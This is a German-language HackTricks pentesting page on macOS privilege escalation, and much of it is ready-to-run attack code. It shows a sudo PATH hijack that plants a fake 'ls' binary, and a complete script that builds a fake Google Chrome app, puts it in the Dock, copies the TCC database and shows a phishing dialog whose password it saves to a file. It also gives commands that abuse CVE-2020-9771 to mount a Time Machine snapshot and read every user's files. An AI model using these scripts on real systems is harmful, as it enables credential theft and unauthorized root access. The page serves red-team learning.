macOS Privilege Escalation

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

TCC-Berechtigungserhöhung

Wenn Sie hierher gekommen sind, um nach TCC-Berechtigungserhöhung zu suchen, gehen Sie zu:

pagemacOS TCC

Linux Privesc

Bitte beachten Sie, dass die meisten Tricks zur Berechtigungserhöhung, die Linux/Unix betreffen, auch MacOS-Maschinen betreffen. Sehen Sie also:

pageLinux Privilege Escalation

Benutzerinteraktion

Sudo-Hijacking

Sie finden die ursprüngliche Sudo-Hijacking-Technik im Beitrag zur Berechtigungserhöhung in Linux.

Allerdings behält macOS den PATH des Benutzers bei, wenn er sudo ausführt. Das bedeutet, dass eine andere Möglichkeit, diesen Angriff durchzuführen, darin besteht, andere Binärdateien zu hijacken, die das Opfer ausführt, wenn es sudo ausführt:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Beachten Sie, dass ein Benutzer, der das Terminal verwendet, höchstwahrscheinlich Homebrew installiert hat. Es ist also möglich, Binärdateien in /opt/homebrew/bin zu kapern.

Dock-Imitation

Mit etwas Social Engineering könnten Sie sich zum Beispiel als Google Chrome in der Dock-Leiste ausgeben und tatsächlich Ihr eigenes Skript ausführen:

Einige Vorschläge:

  • Überprüfen Sie in der Dock-Leiste, ob Chrome vorhanden ist, und entfernen Sie in diesem Fall den Eintrag und fügen Sie den gefälschten Chrome-Eintrag an derselben Position im Dock-Array hinzu.

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - Root-Privileg-Eskalation

CVE-2020-9771 - mount_apfs TCC-Bypass und Privileg-Eskalation

Jeder Benutzer (auch nicht privilegierte) kann ein Time Machine-Snapshot erstellen und mounten und auf ALLE Dateien dieses Snapshots zugreifen. Das einzige erforderliche Privileg besteht darin, dass die verwendete Anwendung (wie Terminal) Vollzugriff auf die Festplatte (FDA) hat (kTCCServiceSystemPolicyAllfiles), was von einem Administrator gewährt werden muss.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Eine detailliertere Erklärung finden Sie im Originalbericht.

Sensible Informationen

Dies kann nützlich sein, um Privilegien zu eskalieren:

pagemacOS Sensitive Locations & Interesting Daemons
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated